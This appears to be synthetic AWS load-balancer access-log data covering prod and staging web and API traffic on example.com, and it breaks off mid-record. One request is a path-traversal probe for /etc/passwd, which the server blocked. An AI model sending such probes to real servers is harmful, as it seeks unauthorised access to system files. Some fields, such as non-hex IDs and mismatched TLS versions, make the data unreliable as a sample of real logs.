"prod-api-alb.example.com" "-" 7 2024-11-01T01:42:36.101804Z "forward" "-" "-" "10.0.244.177:443" "404" "-" "-" -https 2024-11-01T01:42:37.038773Z prod-web-alb 98.116.72.255:62511 10.0.221.45:443 0.044159 0.007968 0.066725 302 302 834 6994 "GET /products HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723cf9d-0a2f65efc1f8449983d7d8bc" "prod-web-alb.example.com" "-" 10 2024-11-01T01:42:37.038773Z "forward" "-" "-" "10.0.221.45:443" "302" "-" "-" -https 2024-11-01T01:42:38.922997Z staging-alb 70.85.119.208:21895 60.175.143.246:8080 0.099840 0.183501 0.078960 200 200 203 2861 "GET /api/v1/products HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723cf9e-421cb5a1dc4e4f52bc4afaf1" "staging-alb.example.com" "-" 8 2024-11-01T01:42:38.922997Z "forward" "-" "-" "60.175.143.246:8080" "200" "-" "-" -https 2024-11-01T01:42:39.341905Z prod-api-alb 163.220.121.87:47735 10.0.175.8:443 0.063434 0.150456 0.093151 302 302 785 982 "GET /api/health HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723cf9f-9e97cb171c5346a781336dfd" "prod-api-alb.example.com" "-" 2 2024-11-01T01:42:39.341905Z "forward" "-" "-" "10.0.175.8:443" "302" "-" "-" -https 2024-11-01T01:42:40.776522Z prod-api-alb 241.185.212.244:28840 10.0.58.53:443 0.043504 0.435515 0.070515 200 200 46 4103 "GET /api/v1/orders HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723cfa0-738b0a26f1154cbfbdae6504" "prod-api-alb.example.com" "-" 4 2024-11-01T01:42:40.776522Z "forward" "-" "-" "10.0.58.53:443" "200" "-" "-" -https 2024-11-01T01:42:42.105391Z prod-web-alb 138.138.94.36:59546 10.0.48.39:443 0.032838 0.375233 0.044079 301 301 67 8130 "GET /checkout HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723cfa2-966c21e3efc94033bd47ddf8" "prod-web-alb.example.com" "-" 7 2024-11-01T01:42:42.105391Z "forward" "-" "-" "10.0.48.39:443" "301" "-" "-" -https 2024-11-01T01:42:43.206536Z prod-web-alb 122.194.96.86:25252 10.0.225.185:443 0.085651 0.404768 0.016342 200 200 981 6256 "GET /checkout HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723cfa3-4f8486f39f4e4ecb867936eb" "prod-web-alb.example.com" "-" 0 2024-11-01T01:42:43.206536Z "forward" "-" "-" "10.0.225.185:443" "200" "-" "-" -https 2024-11-01T01:42:44.181694Z prod-api-alb 244.114.117.187:61878 10.0.58.83:443 0.022875 0.108946 0.008834 200 200 81 8018 "GET /api/v2/users HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723cfa4-7dc64a4b40574800a731b4b3" "prod-api-alb.example.com" "-" 10 2024-11-01T01:42:44.181694Z "forward" "-" "-" "10.0.58.83:443" "200" "-" "-" -http 2024-11-01T01:42:44.957313Z staging-alb 100.33.162.150:24704 58.215.22.235:443 0.088976 0.262195 0.130752 404 404 377 2539 "GET /staging/health HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723cfa4-ef050861fb5c47b48bb1288b" "staging-alb.example.com" "-" 2 2024-11-01T01:42:44.957313Z "forward" "-" "-" "58.215.22.235:443" "404" "-" "-" -https 2024-11-01T01:42:46.368758Z prod-web-alb 54.180.227.28:53190 10.0.55.218:443 0.002938 0.296137 0.003983 200 200 647 12735 "GET /assets/main.css HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723cfa6-3c233da059184233ac3ee131" "prod-web-alb.example.com" "-" 10 2024-11-01T01:42:46.368758Z "forward" "-" "-" "10.0.55.218:443" "200" "-" "-" -https 2024-11-01T01:42:46.885222Z prod-web-alb 206.2.44.59:56657 10.0.32.5:443 0.069710 0.124869 0.098156 200 200 715 5313 "GET /assets/main.css HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723cfa6-7dd2e686055840cda1d07191" "prod-web-alb.example.com" "-" 7 2024-11-01T01:42:46.885222Z "forward" "-" "-" "10.0.32.5:443" "200" "-" "-" -https 2024-11-01T01:42:48.870418Z prod-web-alb 75.54.106.85:32563 10.0.172.186:443 0.052772 0.176425 0.086061 200 200 870 562 "GET /checkout HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723cfa8-bbf3c13342a24bf8996a21cd" "prod-web-alb.example.com" "-" 8 2024-11-01T01:42:48.870418Z "forward" "-" "-" "10.0.172.186:443" "200" "-" "-" -https 2024-11-01T01:42:50.035810Z prod-web-alb 255.94.127.43:21058 10.0.138.56:443 0.074894 0.231317 0.000436 200 200 359 9622 "GET /cart HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723cfaa-a50c5a43e7ca45e8944626ac" "prod-web-alb.example.com" "-" 7 2024-11-01T01:42:50.035810Z "forward" "-" "-" "10.0.138.56:443" "200" "-" "-" -https 2024-11-01T01:42:50.407078Z prod-api-alb 193.27.228.146:37555 10.0.249.240:443 0.068961 0.360849 0.094795 403 403 897 12012 "GET /../../../etc/passwd HTTP/1.1" "Go-http-client/2.0" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723cfaa-de87bad9b081422c92d2536a" "-" "-" 7 2024-11-01T01:42:50.407078Z "forward" "-" "-" "10.0.249.240:443" "403" "-" "-" -http 2024-11-01T01:42:51.067009Z staging-alb 169.61.155.131:60776 197.253.109.251:443 0.048839 0.734855 0.014118 200 200 747 5205 "GET /web/test HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723cfab-c477f295c7254c72a4f671b0" "staging-alb.example.com" "-" 4 2024-11-01T01:42:51.067009Z "forward" "-" "-" "197.253.109.251:443" "200" "-" "-" -https 2024-11-01T01:42:52.171816Z staging-alb 12.25.13.104:48351 146.236.171.175:443 0.091837 0.691601 0.107176 200 200 509 2550 "GET /web/test HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723cfac-90aa4576a09c41db84ce8d01" "staging-alb.example.com" "-" 0 2024-11-01T01:42:52.171816Z "forward" "-" "-" "146.236.171.175:443" "200" "-" "-" -https 2024-11-01T01:42:52.934966Z staging-alb 192.117.190.217:46330 67.79.184.7:80 0.110292 0.579598 0.013599 301 301 495 13989 "GET /web/test HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723cfac-baa8802449e1427f956288fa" "-" "-" 9 2024-11-01T01:42:52.934966Z "forward" "-" "-" "67.79.184.7:80" "301" "-" "-" -https 2024-11-01T01:42:53.379688Z prod-api-alb 225.156.74.159:49714 10.0.152.103:443 0.043062 0.462922 0.000422 404 404 11 13114 "GET /api/v1/products HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723cfad-429ee514d16a47dbbe5647c2" "prod-api-alb.example.com" "-" 4 2024-11-01T01:42:53.379688Z "forward" "-" "-" "10.0.152.103:443" "404" "-" "-" -https 2024-11-01T01:42:54.038597Z prod-api-alb 167.60.173.5:30119 10.0.26.132:443 0.039612 0.475803 0.067285 301 301 773 9563 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723cfae-5c0cad3a7f564e7c8054b132" "prod-api-alb.example.com" "-" 10 2024-11-01T01:42:54.038597Z "forward" "-" "-" "10.0.26.132:443" "301" "-" "-" -https 2024-11-01T01:42:54.956016Z prod-web-alb 196.167.185.172:63602 10.0.4.164:443 0.046924 0.249584 0.031267 200 200 950 7925 "GET /images/logo.png HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723cfae-a7256d0926bb41728ad0975a" "prod-web-alb.example.com" "-" 4 2024-11-01T01:42:54.956016Z "forward" "-" "-" "10.0.4.164:443" "200" "-" "-" -http 2024-11-01T01:42:56.217545Z staging-alb 20.183.245.228:48941 35.103.238.17:8080 0.123639 0.255562 0.065392 404 404 501 330 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723cfb0-790a92da1a5c4c9d9fae6856" "staging-alb.example.com" "-" 2 2024-11-01T01:42:56.217545Z "forward" "-" "-" "35.103.238.17:8080" "404" "-" "-" -https 2024-11-01T01:42:57.486040Z staging-alb 30.122.122.94:46366 155.77.247.235:80 0.042708 0.022511 0.044815 404 404 656 9982 "GET /staging/health HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723cfb1-9210438662234227a7f05d09" "staging-alb.example.com" "-" 7 2024-11-01T01:42:57.486040Z "forward" "-" "-" "155.77.247.235:80" "404" "-" "-" -https 2024-11-01T01:42:58.300231Z prod-web-alb 115.87.219.219:28096 10.0.25.225:443 0.080903 0.446320 0.004502 200 200 501 5500 "GET /cart HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723cfb2-706418b87c9f47a49834fb8e" "prod-web-alb.example.com" "-" 0 2024-11-01T01:42:58.300231Z "forward" "-" "-" "10.0.25.225:443" "200" "-" "-" -https 2024-11-01T01:43:00.207561Z prod-api-alb 245.87.143.219:14907 10.0.138.184:443 0.012885 0.342074 0.083311 404 404 331 9937 "GET /api/health HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723cfb4-4715a0c3dfe441258c9d7aea" "prod-api-alb.example.com" "-" 4 2024-11-01T01:43:00.207561Z "forward" "-" "-" "10.0.138.184:443" "404" "-" "-" -https 2024-11-01T01:43:01.795790Z prod-api-alb 102.198.240.194:37227 10.0.28.94:443 0.001301 0.323165 0.073452 302 302 595 8017 "GET /api/v2/users HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723cfb5-806f3e5b2fcb4716bb07667b" "prod-api-alb.example.com" "-" 3 2024-11-01T01:43:01.795790Z "forward" "-" "-" "10.0.28.94:443" "302" "-" "-" -https 2024-11-01T01:43:03.644074Z prod-web-alb 36.181.134.55:63205 10.0.230.80:443 0.013195 0.286443 0.075327 302 302 695 7215 "GET /checkout HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723cfb7-f1bef83e442d42faa22563b6" "prod-web-alb.example.com" "-" 0 2024-11-01T01:43:03.644074Z "forward" "-" "-" "10.0.230.80:443" "302" "-" "-" -https 2024-11-01T01:43:03.847310Z prod-api-alb 191.246.217.127:54369 10.0.108.94:443 0.093920 0.399844 0.032059 301 301 443 891 "GET /api/health HTTP/1.1" "Python-urllib/3.8" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723cfb7-e7353cfe29554a9b84f3ee33" "prod-api-alb.example.com" "-" 1 2024-11-01T01:43:03.847310Z "forward" "-" "-" "10.0.108.94:443" "301" "-" "-" -https 2024-11-01T01:43:04.693408Z prod-web-alb 241.72.133.236:55617 10.0.81.147:443 0.098752 0.389739 0.071545 200 200 11 6288 "GET /images/logo.png HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723cfb8-1cf9d7a7c600419ab1df00dc" "prod-web-alb.example.com" "-" 3 2024-11-01T01:43:04.693408Z "forward" "-" "-" "10.0.81.147:443" "200" "-" "-" -https 2024-11-01T01:43:05.899841Z staging-alb 152.111.207.57:45114 63.106.128.160:80 0.096012 0.121722 0.125772 200 200 154 2205 "GET /staging/health HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723cfb9-c361b4693e164ea586f1dd99" "staging-alb.example.com" "-" 7 2024-11-01T01:43:05.899841Z "forward" "-" "-" "63.106.128.160:80" "200" "-" "-" -http 2024-11-01T01:43:06.049884Z staging-alb 39.123.147.4:18482 105.244.93.229:80 0.025550 0.506656 0.002902 200 200 477 2709 "GET /staging/health HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723cfba-3ed09ea16c724c38bb407921" "staging-alb.example.com" "-" 9 2024-11-01T01:43:06.049884Z "forward" "-" "-" "105.244.93.229:80" "200" "-" "-" -https 2024-11-01T01:43:07.127388Z prod-api-alb 144.99.60.24:44515 10.0.207.202:443 0.070769 0.407461 0.011679 200 200 179 13532 "GET /api/health HTTP/1.1" "curl/7.64.1" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723cfbb-2b4cf93e4df344158b3a0f2f" "prod-api-alb.example.com" "-" 9 2024-11-01T01:43:07.127388Z "forward" "-" "-" "10.0.207.202:443" "200" "-" "-" -http 2024-11-01T01:43:08.691103Z staging-alb 109.103.16.50:12791 65.96.7.224:443 0.054004 0.513502 0.005278 302 302 343 11158 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723cfbc-85ddb04d1a664ed5a047c16a" "-" "-" 5 2024-11-01T01:43:08.691103Z "forward" "-" "-" "65.96.7.224:443" "302" "-" "-" -https 2024-11-01T01:43:09.069033Z prod-web-alb 214.187.10.70:35472 10.0.133.39:443 0.006324 0.157448 0.043956 200 200 190 1405 "GET /checkout HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723cfbd-49081046cdc24784a046d8a7" "prod-web-alb.example.com" "-" 6 2024-11-01T01:43:09.069033Z "forward" "-" "-" "10.0.133.39:443" "200" "-" "-" -https 2024-11-01T01:43:10.042287Z prod-api-alb 177.100.22.75:40730 10.0.34.56:443 0.061006 0.020751 0.057984 404 404 109 11002 "GET /api/health HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723cfbe-56c1509990a7458d82ec2ca6" "prod-api-alb.example.com" "-" 7 2024-11-01T01:43:10.042287Z "forward" "-" "-" "10.0.34.56:443" "404" "-" "-" -https 2024-11-01T01:43:11.417454Z prod-api-alb 107.49.10.132:17932 10.0.247.188:443 0.014900 0.000007 0.087174 200 200 82 4826 "GET /api/v1/orders HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723cfbf-4c3b2501340844fc8b6cd8b2" "prod-api-alb.example.com" "-" 6 2024-11-01T01:43:11.417454Z "forward" "-" "-" "10.0.247.188:443" "200" "-" "-" -https 2024-11-01T01:43:11.885250Z prod-api-alb 129.69.53.82:38911 10.0.18.231:443 0.084076 0.298498 0.021192 200 200 34 9507 "GET /api/v2/users HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723cfbf-448fe0eaeb2d472eaeb0a92e" "prod-api-alb.example.com" "-" 0 2024-11-01T01:43:11.885250Z "forward" "-" "-" "10.0.18.231:443" "200" "-" "-" -https 2024-11-01T01:43:12.691501Z staging-alb 1.87.124.19:58331 157.252.172.198:8080 0.088295 0.605962 0.016359 200 200 665 9763 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723cfc0-55ffb66e5a8d45c78228c3dd" "staging-alb.example.com" "-" 10 2024-11-01T01:43:12.691501Z "forward" "-" "-" "157.252.172.198:8080" "200" "-" "-" -https 2024-11-01T01:43:12.820062Z prod-web-alb 138.30.170.79:18652 10.0.228.189:443 0.043708 0.056849 0.012744 301 301 611 6574 "GET /images/logo.png HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723cfc0-ec19f53971a548f6a21224b9" "prod-web-alb.example.com" "-" 2 2024-11-01T01:43:12.820062Z "forward" "-" "-" "10.0.228.189:443" "301" "-" "-" -https 2024-11-01T01:43:14.314220Z prod-web-alb 198.143.244.76:25162 10.0.204.220:443 0.018159 0.162287 0.090900 302 302 503 1867 "GET /products HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723cfc2-d132e577dc68471fb4de89da" "prod-web-alb.example.com" "-" 10 2024-11-01T01:43:14.314220Z "forward" "-" "-" "10.0.204.220:443" "302" "-" "-" -https 2024-11-01T01:43:15.089088Z staging-alb 134.168.121.222:12105 137.209.10.251:443 0.075715 0.301545 0.116411 200 200 72 8823 "GET /web/test HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723cfc3-19add41ccf0341a79cbf1e35" "staging-alb.example.com" "-" 6 2024-11-01T01:43:15.089088Z "forward" "-" "-" "137.209.10.251:443" "200" "-" "-" -https 2024-11-01T01:43:16.651276Z prod-api-alb 113.193.209.218:51844 10.0.174.24:443 0.070062 0.194590 0.092677 200 200 255 5457 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723cfc4-9714ea9010d64a36b52f3fe6" "-" "-" 5 2024-11-01T01:43:16.651276Z "forward" "-" "-" "10.0.174.24:443" "200" "-" "-" -https 2024-11-01T01:43:17.731015Z prod-api-alb 220.22.80.121:10128 10.0.29.247:443 0.019424 0.366883 0.089321 404 404 291 4124 "GET /api/health HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723cfc5-76aea51e6e2f4dd39c5849d0" "prod-api-alb.example.com" "-" 7 2024-11-01T01:43:17.731015Z "forward" "-" "-" "10.0.29.247:443" "404" "-" "-" -https 2024-11-01T01:43:18.981870Z prod-api-alb 60.164.156.217:62851 10.0.128.220:443 0.024525 0.099679 0.061427 301 301 101 5475 "GET /api/v1/orders HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723cfc6-179b27d988984365a18e783e" "prod-api-alb.example.com" "-" 9 2024-11-01T01:43:18.981870Z "forward" "-" "-" "10.0.128.220:443" "301" "-" "-" -https 2024-11-01T01:43:20.149685Z prod-web-alb 182.219.238.104:40247 10.0.45.64:443 0.007910 0.127423 0.059882 302 302 36 12010 "GET /checkout HTTP/1.1" "curl/7.64.1" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723cfc8-b046e017138247e59302da67" "prod-web-alb.example.com" "-" 9 2024-11-01T01:43:20.149685Z "forward" "-" "-" "10.0.45.64:443" "302" "-" "-" -https 2024-11-01T01:43:22.065770Z prod-web-alb 37.155.227.156:62614 10.0.201.12:443 0.034339 0.402606 0.088269 200 200 207 7588 "GET /assets/main.css HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723cfca-436fe92e2e8c4a0c8a27b4e8" "prod-web-alb.example.com" "-" 10 2024-11-01T01:43:22.065770Z "forward" "-" "-" "10.0.201.12:443" "200" "-" "-" -http 2024-11-01T01:43:23.126040Z staging-alb 232.79.118.84:43811 79.103.52.162:8080 0.141054 0.637939 0.040891 200 200 108 8504 "GET /web/test HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723cfcb-00c572395e8c4da085d433f5" "staging-alb.example.com" "-" 8 2024-11-01T01:43:23.126040Z "forward" "-" "-" "79.103.52.162:8080" "200" "-" "-" -http 2024-11-01T01:43:23.661812Z staging-alb 187.171.13.44:60903 252.164.109.16:80 0.035566 0.171709 0.032717 200 200 358 4377 "GET /web/test HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723cfcb-b999abcdd5eb4d59bfaee74d" "staging-alb.example.com" "-" 3 2024-11-01T01:43:23.661812Z "forward" "-" "-" "252.164.109.16:80" "200" "-" "-" -https 2024-11-01T01:43:25.401032Z prod-api-alb 180.189.119.215:39665 10.0.205.1:443 0.010896 0.263266 